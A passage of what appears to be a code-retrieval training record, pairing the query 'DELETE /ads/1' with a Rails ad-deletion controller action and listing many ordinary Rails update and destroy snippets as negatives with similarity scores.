"def update\n @client = Client.find(params[:id])\n @uuid = params[:uuid]\n respond_to do |format|\n if @client.update_attributes(params[:client])\n format.html { redirect_to :controller => 'ads', :action => 'admin_dash', :id => 1, :uuid => @uuid, notice: 'Client was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @client.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @advertisement.update(advertisement_params)\n format.html { redirect_to @advertisement, notice: 'Ad was successfully updated.' }\n format.json { render :show, status: :ok, location: @advertisement }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @advertisement.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @aadt = Aadt.find(params[:id])\n\n respond_to do |format|\n if @aadt.update_attributes(params[:aadt])\n format.html { redirect_to @aadt, notice: 'Aadt was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @aadt.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @advocacy = Advocacy.find(params[:id])\n\n respond_to do |format|\n if @advocacy.update_attributes(params[:advocacy])\n format.html { redirect_to @advocacy, notice: 'Advocacy was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @advocacy.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n render json: Post.update(params[\"id\"], params[\"post\"])\n end",
"def update\n @adopter = Adopter.find(params[:id])\n\n if @adopter.update(adopter_params)\n head :no_content\n else\n render json: @adopter.errors, status: :unprocessable_entity\n end\n end",
"def update\n @advert = Advert.find(params[:id])\n\n respond_to do |format|\n if @advert.update_attributes(params[:advert])\n format.html { redirect_to(admin_adverts_path, :notice => 'Advert was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @advert.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @agency.update_attributes(params[:agency])\n format.html { redirect_to @agency, notice: 'Agency was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @agency.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @ad = Ad.find(params[:id])\n if @ad.update_attributes(ad_params)\n redirect_to @ad\n else\n render 'edit'\n end\n\n end",
"def update\n @advert = Advert.find(params[:id])\n\n respond_to do |format|\n if @advert.update_attributes(params[:advert])\n flash[:notice] = 'Advert was successfully updated.'\n format.html { redirect_to('/adverts') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @advert.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @ad_modify.update(ad_modify_params)\n format.html { redirect_to [:admin, @ad_modify], notice: 'Ad modify was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @ad_modify.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n keystone.update_tenant({:id=>params[:id],:name=>params[:name],:description=>params[:description],:enabled=>params[:enabled]})\n respond_to do |format|\n format.html { redirect_to tenants_path, :notice => 'Tenant was successfully updated.' }\n format.json { head :ok }\n end\n end",
"def update\n\n respond_to do |format|\n if @ad.update_attributes(params[:ad])\n flash[:notice] = 'Ad was successfully updated.'\n format.html { redirect_to([current_user,@ad]) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @ad.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @agency.update(agency_params)\n format.html { redirect_to @agency, notice: 'Agency was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @agency.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @advertisement.update(advertisement_params)\n format.html { redirect_to advertisements_path, notice: 'Advertisement was successfully updated.' }\n format.json { render :show, status: :ok, location: @advertisement }\n else\n format.html { render :edit }\n format.json { render json: @advertisement.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_aos_version(args = {}) \n id = args['id']\n temp_path = \"/aosversions.json/{aosVersionId}\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"aosversionId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend",
"def api_patch(path, data = {})\n api_request(:patch, path, :data => data)\n end",
"def update\n @create_classified_ad = CreateClassifiedAd.find(params[:id])\n\n respond_to do |format|\n if @create_classified_ad.update_attributes(params[:create_classified_ad])\n format.html { redirect_to @create_classified_ad, notice: 'Create classified ad was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @create_classified_ad.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @ad.update(ad_params)\n format.html { redirect_to ads_path, notice: 'Post was successfully updated.' }\n format.json { render :index, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n authorize! :update, @advertisement\n respond_to do |format|\n if @advertisement.update(advertisement_params)\n format.html { redirect_to app_advertisements_url, notice: 'Advertisement was successfully updated.' }\n format.json { render :show, status: :ok, location: @advertisement }\n else\n format.html { render :edit }\n format.json { render json: @advertisement.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update(attrs, path=nil)\n resp = api_client.put(path || url, JSON.dump(attrs))\n refresh(JSON.load(resp.body))\n end",
"def update!(**args)\n @ad_breaks = args[:ad_breaks] if args.key?(:ad_breaks)\n @ads_on_embeds = args[:ads_on_embeds] if args.key?(:ads_on_embeds)\n @countries_restriction = args[:countries_restriction] if args.key?(:countries_restriction)\n @id = args[:id] if args.key?(:id)\n @kind = args[:kind] if args.key?(:kind)\n end",
"def update_rest\n @entry_answer = EntryAnswer.find(params[:id])\n\n respond_to do |format|\n if @entry_answer.update_attributes(params[:entry_answer])\n flash[:notice] = 'EntryAnswer was successfully updated.'\n format.html { redirect_to(@entry_answer) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @entry_answer.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update_tenant_circle(args = {}) \n put(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend",
"def update\n respond_to do |format|\n if @admin_advertise.update(admin_advertise_params)\n format.html { redirect_to @admin_advertise, notice: 'Advertise was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @admin_advertise.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @admin_agency = Admin::Agency.find(params[:id])\n\n respond_to do |format|\n if @admin_agency.update_attributes(params[:admin_agency])\n format.html { redirect_to @admin_agency, notice: 'Agency was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @admin_agency.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @marketing_action = MarketingAction.find(params[:id])\n \n @marketing_action.banner = Banner.find(params[:banner])\n \n @marketing_action.marketing_campaign = @marketing_campaign\n\n respond_to do |format|\n if @marketing_action.update_attributes(params[:marketing_action])\n format.html { redirect_to :action=> 'show', :id => @marketing_action.id, :notice => 'A acao de marketing foi atualizada com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @marketing_action.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @contact = Contact.find(params[:id])\n if params[:contact][:clientId] == \"\"\n params[:contact][:clientId] = nil\n end \n\n respond_to do |format|\n if @contact.update_attributes(params[:contact])\n format.html { redirect_to @contact, notice: 'Contato atualizado com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @contact.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @advertisement.update(advertisement_params)\n format.html { redirect_to @advertisement, notice: 'Advertisement was successfully updated.' }\n format.json { render :show, status: :ok, location: @advertisement }\n else\n format.html { render :edit }\n format.json { render json: @advertisement.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @advertisement.update(advertisement_params)\n format.html { redirect_to @advertisement, notice: 'Advertisement was successfully updated.' }\n format.json { render :show, status: :ok, location: @advertisement }\n else\n format.html { render :edit }\n format.json { render json: @advertisement.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @asaaddrobj = Asaaddrobj.find(params[:id])\n\n respond_to do |format|\n if @asaaddrobj.update_attributes(params[:asaaddrobj])\n format.html { redirect_to @asaaddrobj, notice: 'Asaaddrobj was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @asaaddrobj.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @diet.update(diet_params)\n head :no_content, status: 204\n else\n render json: @diet.errors, status: 422\n end\n end",
"def update\n @client.update(client_params)\n render json: @client\n end",
"def update\n @advertise = Advertise.find(params[:id]) \n respond_to do |format|\n if @advertise.update_attributes(params[:advertise])\n format.html { redirect_to(@advertise, :notice => 'Advertise was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @advertise.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @campaign = Campaign.find_by(id: params[:id])\n if @campaign.update(update_campaign_params)\n head :no_content\n else\n render json: @campaign.errors, status: :unprocessable_entity\n end\n end",
"def update\n @banner = Banner.find(params[:id])\n\n respond_to do |format|\n if @banner.update_attributes(params[:banner])\n format.html { redirect_to admins_banners_url, notice: 'Banner was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @banner.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n put :update\n end",
"def update\n\n params[:client][:contact_ids] ||= []\n @client = Client.find(params[:id])\n\n respond_to do |format|\n if @client.update_attributes(params[:client])\n format.html { redirect_to @client, notice: 'Client was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @client.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @lead = args[:lead] if args.key?(:lead)\n @recaptcha_status = args[:recaptcha_status] if args.key?(:recaptcha_status)\n @response_metadata = args[:response_metadata] if args.key?(:response_metadata)\n end",
"def update\n @audience = Audience.find(params[:id])\n\n respond_to do |format|\n if @audience.update_attributes(params[:audience])\n format.html { redirect_to @audience, notice: 'Audience was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @audience.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\t\t@ad = Ad.includes({:ad_group => :campaign}, :ad_type).where(\"campaigns.account_id = ?\", @auth_user.account_id).find(params[:id])\n\t\t@ad.user_account_id = @auth_user.account_id\n\t\tparams[:ad][:attribute_value_ids] ||= []\n\t\tparams[:ad][:publisher_ids] ||= []\n\n\t\trespond_to do |format|\n\t\t\tif @ad.update_attributes(params[:ad])\n\t\t\t\tupload_media\n\t\t\t\tformat.html { redirect_to(@ad, :notice => 'Ad was successfully updated.') }\n\t\t\t\tformat.xml { head :ok }\n\t\t\telse\n\t\t\t\tformat.html { render :action => \"edit\" }\n\t\t\t\tformat.xml { render :xml => @ad.errors, :status => :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend",
"def update\n @avert = Avert.find(params[:id])\n\n respond_to do |format|\n if @avert.update_attributes(params[:avert])\n format.html { redirect_to @avert, notice: 'Avert was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @avert.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @manage_advertisement.update(manage_advertisement_params)\n format.html { redirect_to @manage_advertisement, notice: 'Manage advertisement was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @manage_advertisement.errors, status: :unprocessable_entity }\n end\n end\n end",
"def put!\n request! :put\n end",
"def update\n @adv = Advantage.find(params[:id])\n\n respond_to do |format|\n if @adv.update_attributes(params[:advantage])\n format.html { redirect_to @adv, notice: 'Advantage was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @adv.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @assay = Assay.find(params[:id])\n\n respond_to do |format|\n if @assay.update_attributes(params[:assay])\n format.html { redirect_to @assay, notice: 'Assay was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @assay.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @acd = Acd.find(params[:id])\n\n respond_to do |format|\n if @acd.update_attributes(params[:acd])\n format.html { redirect_to @acd, notice: 'Acd was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @acd.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @advertise.update(advertise_params)\n format.html { redirect_to @advertise, notice: 'Advertise was successfully updated.' }\n format.json { render :show, status: :ok, location: @advertise }\n else\n format.html { render :edit }\n format.json { render json: @advertise.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n document = Document.find(params[:id])\n document.update!(update_params)\n render json: {}\n end",
"def update\n respond_to do |format|\n if @advert3.update(advert3_params)\n format.html { redirect_to @advert3, notice: 'Advert3 was successfully updated.' }\n format.json { render :show, status: :ok, location: @advert3 }\n else\n format.html { render :edit }\n format.json { render json: @advert3.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @advetiser.update(advetiser_params)\n format.html { redirect_to @advetiser, notice: 'Advetiser was successfully updated.' }\n format.json { render :show, status: :ok, location: @advetiser }\n else\n format.html { render :edit }\n format.json { render json: @advetiser.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @advertise.update(advertise_params)\n format.html { redirect_to @advertise, notice: \"Advertise was successfully updated.\" }\n format.json { render :show, status: :ok, location: @advertise }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @advertise.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @cta.update(cta_params)\n format.html { redirect_to @cta, notice: 'cta was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @cta.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @api_client = ApiClient.find(params[:id])\n\n respond_to do |format|\n if @api_client.update_attributes(params[:api_client])\n format.html { redirect_to @api_client, notice: 'Api client was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @api_client.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @vkontakte_campaign = VkontakteCampaign.find(params[:id])\n\n respond_to do |format|\n if @vkontakte_campaign.update_attributes(params[:vkontakte_campaign])\n format.html { redirect_to @vkontakte_campaign, notice: 'Vkontakte campaign was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @vkontakte_campaign.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @survey = Survey.find(params[:id])\n json = params[:survey]\n json[:questions] = JSON.parse(json[:questions])\n json[:questions].each_with_index do |question, idx|\n json[:questions][idx]['id'] = idx + 1\n end\n\n respond_to do |format|\n if @survey.update_attributes(json)\n format.html { redirect_to @survey, notice: 'Survey was successfully updated.' }\n format.json { render json: @survey }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @survey.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @adj.update(adj_params)\n format.html { redirect_to @adj, notice: 'Adj was successfully updated.' }\n format.json { render :show, status: :ok, location: @adj }\n else\n format.html { render :edit }\n format.json { render json: @adj.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @lead = args[:lead] if args.key?(:lead)\n @recaptcha_challenge = args[:recaptcha_challenge] if args.key?(:recaptcha_challenge)\n @request_metadata = args[:request_metadata] if args.key?(:request_metadata)\n end",
"def update\n @banner = Banner.find(params[:id])\n\n respond_to do |format|\n if @banner.update_attributes(params[:banner])\n format.html { redirect_to admin_banner_path(@banner), notice: 'Banner was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { redirect_to edit_admin_banner_path(@banner), notice: @banner.errors.full_messages }\n format.json { render json: @banner.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n puts ad_holder_params\n if @ad_holder.update(ad_holder_params)\n format.html { redirect_to @ad_holder, notice: 'Ad holder was successfully updated.' }\n format.json { render :show, status: :ok, location: @ad_holder }\n else\n format.html { render :edit }\n format.json { render json: @ad_holder.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @ad_breaks = args[:ad_breaks] if args.key?(:ad_breaks)\n @ad_formats = args[:ad_formats] if args.key?(:ad_formats)\n @auto_generated_breaks = args[:auto_generated_breaks] if args.key?(:auto_generated_breaks)\n @break_position = args[:break_position] if args.key?(:break_position)\n @id = args[:id] if args.key?(:id)\n @kind = args[:kind] if args.key?(:kind)\n @tp_ad_server_video_id = args[:tp_ad_server_video_id] if args.key?(:tp_ad_server_video_id)\n @tp_targeting_url = args[:tp_targeting_url] if args.key?(:tp_targeting_url)\n @tp_url_parameters = args[:tp_url_parameters] if args.key?(:tp_url_parameters)\n end",
"def jsonapi_update!(attributes)\n assign_jsonapi_attributes(attributes)\n save!\n end"
] |
[
"0.69383",
"0.69383",
"0.67188334",
"0.6641892",
"0.6612114",
"0.6575076",
"0.6553201",
"0.6546139",
"0.65125585",
"0.65049094",
"0.6492367",
"0.6475903",
"0.64591247",
"0.64585716",
"0.64578116",
"0.64555466",
"0.6452212",
"0.6446261",
"0.6434833",
"0.6422958",
"0.64109385",
"0.63970345",
"0.63734365",
"0.6369694",
"0.63280076",
"0.6325057",
"0.6325057",
"0.6325057",
"0.63212544",
"0.62989473",
"0.62966615",
"0.6280766",
"0.6280528",
"0.6272306",
"0.6257267",
"0.6243152",
"0.62370163",
"0.6233958",
"0.62282234",
"0.62272644",
"0.62155974",
"0.6209546",
"0.6179153",
"0.6163551",
"0.6157194",
"0.6154608",
"0.61532557",
"0.6152858",
"0.61459994",
"0.6139924",
"0.61377287",
"0.6130899",
"0.61299455",
"0.61253",
"0.6123861",
"0.6114299",
"0.6113496",
"0.6095458",
"0.6087624",
"0.6086301",
"0.6073484",
"0.60650957",
"0.60617524",
"0.60551316",
"0.60533077",
"0.60533077",
"0.6051799",
"0.60510665",
"0.60489523",
"0.60488033",
"0.60376775",
"0.60089684",
"0.6008135",
"0.60052735",
"0.60038704",
"0.6003103",
"0.60027784",
"0.6001387",
"0.599648",
"0.598567",
"0.5975512",
"0.5974861",
"0.5974504",
"0.5972181",
"0.59674525",
"0.5965389",
"0.5957968",
"0.595534",
"0.59524435",
"0.5948717",
"0.59417874",
"0.59390795",
"0.5936253",
"0.5935958",
"0.5934716",
"0.5934513",
"0.5931491",
"0.5925993"
] |
0.66695863
|
5
|
DELETE /ads/1 DELETE /ads/1.json
|
def destroy
@ad.destroy
respond_to do |format|
format.html { redirect_to ads_url, notice: 'Ad was successfully destroyed.' }
format.json { head :no_content }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def destroy\n @ad = Ad.find(params[:id])\n @ad.destroy\nrender json: 1\n end",
"def destroy\n @ad = Ad.find(params[:id])\n @ad.destroy\n\n respond_to do |format|\n format.html { redirect_to ads_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @home_indices_ad = Home::Indices::Ad.find(params[:id])\n @home_indices_ad.destroy\n\n respond_to do |format|\n format.html { redirect_to home_indices_ads_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @ad.destroy\n\n respond_to do |format|\n format.html { redirect_to(ads_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n id = params[:id]\n src = Tagaly3::SRC\n # Code to connect with API\n @uri = URI.parse(src)\n http = Net::HTTP.start(@uri.host,@uri.port)\n request = Net::HTTP::Delete.new(\"/adexchange/advertiser/advertisement/#{id}\")\n response = http.request(request)\n http.finish\n redirect_to '/ads/'\n end",
"def delete\n client.delete(\"/#{id}\")\n end",
"def destroy\n @advert = Advert.find(params[:id])\n @advert.destroy\n\n respond_to do |format|\n format.html { redirect_to adverts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @advert = Advert.find(params[:id])\n @advert.destroy\n\n respond_to do |format|\n format.html { redirect_to adverts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @ad = Ad.find(params[:id])\n @ad.destroy\n\n respond_to do |format|\n format.html { redirect_to(ads_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @ad = Ad.find(params[:id])\n @ad.destroy\n\n respond_to do |format|\n format.html { redirect_to(ads_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @advert.destroy\n respond_to do |format|\n format.html { redirect_to adverts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @adss.destroy\n respond_to do |format|\n format.html { redirect_to adsses_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @ad = Ad.find(params[:id])\n @ad.destroy\n\n respond_to do |format|\n format.html { redirect_to ads_url }\n format.xml { head :ok }\n end\n end",
"def destroy\n @ad = Ad.find(params[:id])\n @ad.destroy\n\n respond_to do |format|\n format.html { redirect_to ads_url }\n format.xml { head :ok }\n end\n end",
"def destroy\n @ad = Ad.find(params[:id])\n @ad.destroy\n\n respond_to do |format|\n format.html { redirect_to ads_url }\n format.xml { head :ok }\n end\n end",
"def destroy\n @ad.destroy\n respond_to do |format|\n format.html { redirect_to ads_url, notice: \"Ad was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @ad.destroy\n respond_to do |format|\n format.html { redirect_to org_ads_url(@ad.org), notice: 'Ad was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @ad.destroy\n respond_to do |format|\n format.html { redirect_to ads_path, notice: 'Quảng cáo đã được xóa.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n # @advertisement = Advertisement.find(params[:id])\n @advertisement.destroy\n respond_to do |format|\n format.html { redirect_to advertisements_url }\n format.json { head :ok }\n end\n end",
"def delete\n render json: Alien.delete(params[\"id\"])\n end",
"def destroy\n @advertisement = Advertisement.find(params[:id])\n @advertisement.destroy\n\n respond_to do |format|\n format.html { redirect_to advertisements_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @ad = Ad.find_by_slug(params[:id])\n @ad.destroy\n\n respond_to do |format|\n format.html { redirect_to(ads_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @ad.destroy\n respond_to do |format|\n format.html { redirect_to ads_url, notice: 'Post was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @bottom_ad.destroy\n respond_to do |format|\n format.html { redirect_to admin_bottom_ads_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @ad_banner.destroy\n respond_to do |format|\n format.html { redirect_to ad_banners_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n\t@ad.destroy\n\trespond_to do |format|\n\t format.html { redirect_to ads_url, notice: 'Ad was successfully destroyed.' }\n\t format.json { head :no_content }\n\tend\n end",
"def destroy\n @ad = Ad.find(params[:id])\n @ad.destroy\n\n respond_to do |format|\n format.html { render :action => :admin_dash, :id => 1, :uuid => @uuid }\n format.json { head :no_content }\n end\n end",
"def destroy\n Ad.find(params[:id]).destroy\n redirect_to ads_url\n end",
"def destroy\n @advert = @advert_class.find(params[:id])\n @advert.destroy\n\n respond_to do |format|\n format.html { redirect_to adverts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @advert1.destroy\n respond_to do |format|\n format.html { redirect_to advert1s_url, notice: 'Advert1 was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @client = Client.find(params[:id])\n @client.destroy\n @uuid = params[:uuid]\n respond_to do |format|\n format.html { redirect_to :controller => 'ads', :action => 'admin_dash', :id => 1, :uuid => @uuid }\n format.json { head :no_content }\n end\n end",
"def destroy\n @advertisement = Advertisement.find(params[:id])\n #if File.exists?(\"#{Rails.root}/#{@advertisement.filename}\")\n #File.delete(\"#{@advertisement.filename}\")\n #end\n @advertisement.destroy\n\n respond_to do |format|\n format.html { redirect_to advertisements_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @ad.destroy\n respond_to do |format|\n format.html { redirect_to @user, notice: 'Ad was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @advert.destroy\n respond_to do |format|\n format.html { redirect_to adverts_url, notice: 'Advert was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @advert.destroy\n respond_to do |format|\n format.html { redirect_to adverts_url, notice: 'Advert was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @advert.destroy\n respond_to do |format|\n format.html { redirect_to adverts_url, notice: 'Advert was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @advertisement.destroy\n respond_to do |format|\n format.html { redirect_to advertisements_url, notice: 'Ad was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @aadt = Aadt.find(params[:id])\n @aadt.destroy\n\n respond_to do |format|\n format.html { redirect_to aadts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @advert.destroy\n respond_to do |format|\n format.html { redirect_to admin_adverts_url, notice: 'Advert was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @advertisement_campaign.destroy\n respond_to do |format|\n format.html { redirect_to advertisement_campaigns_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @advert = Advert.find(params[:id])\n @advert.destroy\n\n respond_to do |format|\n format.html { redirect_to(adverts_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @ad_url.destroy\n respond_to do |format|\n format.html { redirect_to ad_urls_url, notice: 'Ad url was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @advertise.destroy\n respond_to do |format|\n format.html { redirect_to advertises_url, notice: 'Advertise was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @advertise.destroy\n respond_to do |format|\n format.html { redirect_to advertises_url, notice: \"Advertise was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @adhub = Adhub.find(params[:id])\n @adhub.destroy\n respond_to do |format|\n format.html { redirect_to adhubs_url, notice: \"Advertisement was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy \n @advertisement.destroy\n respond_to do |format|\n format.html { redirect_to advertisements_url, notice: 'Advertisement was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @ad_type = AdType.find(params[:id])\n @ad_type.destroy\n\n respond_to do |format|\n format.html { redirect_to ad_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @ad_post = AdPost.find(params[:id])\n @ad_post.destroy\n\n respond_to do |format|\n format.html { redirect_to ad_posts_url }\n format.json { head :no_content }\n end\n end",
"def delete\n url = prefix + \"delete\" + id_param\n return response(url)\n end",
"def destroy\n @adj.destroy\n respond_to do |format|\n format.html { redirect_to adjs_url, notice: 'Adj was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete\n client.delete(url)\n @deleted = true\nend",
"def delete_aos_version(args = {}) \n delete(\"/aosversions.json/#{args[:aosVersionId]}\", args)\nend",
"def destroy\n @advertisment = Advertisment.find(params[:id])\n @advertisment.destroy\n\n respond_to do |format|\n format.html { redirect_to advertisments_url }\n format.json { head :no_content }\n end\n end",
"def delete\n api_client.delete(url)\n end",
"def deleteFlatpackAds( flatpack_id, adblock, serpAds, serpAdsBottom, bdpAds)\n params = Hash.new\n params['flatpack_id'] = flatpack_id\n params['adblock'] = adblock\n params['serpAds'] = serpAds\n params['serpAdsBottom'] = serpAdsBottom\n params['bdpAds'] = bdpAds\n return doCurl(\"delete\",\"/flatpack/ads\",params)\n end",
"def destroy\n @manage_advertisement.destroy\n respond_to do |format|\n format.html { redirect_to manage_advertisements_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @buy_ad.destroy\n respond_to do |format|\n format.html { redirect_to buy_ads_url, notice: 'Buy ad was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @advertisement.destroy\n respond_to do |format|\n format.html { redirect_to advertisements_url, notice: 'Advertisement was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @advertisement.destroy\n respond_to do |format|\n format.html { redirect_to advertisements_url, notice: 'Advertisement was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @advertisement.destroy\n respond_to do |format|\n format.html { redirect_to advertisements_url, notice: 'Advertisement was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @ad.destroy\n end",
"def destroy\n @ad_tag = AdTag.find(params[:id])\n @ad_tag.destroy\n\n respond_to do |format|\n format.html { redirect_to ad_tags_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @advertise = Advertise.find(params[:id])\n @advertise.destroy\n\n respond_to do |format|\n format.html { redirect_to(advertises_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @acd = Acd.find(params[:id])\n @acd.destroy\n\n respond_to do |format|\n format.html { redirect_to acds_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @banner = Banner.find(params[:id])\n @banner.destroy\n\n respond_to do |format|\n format.html { redirect_to admins_banners_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @banner = Banner.find(params[:id])\n @banner.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_banners_url }\n format.json { head :no_content }\n end\n end",
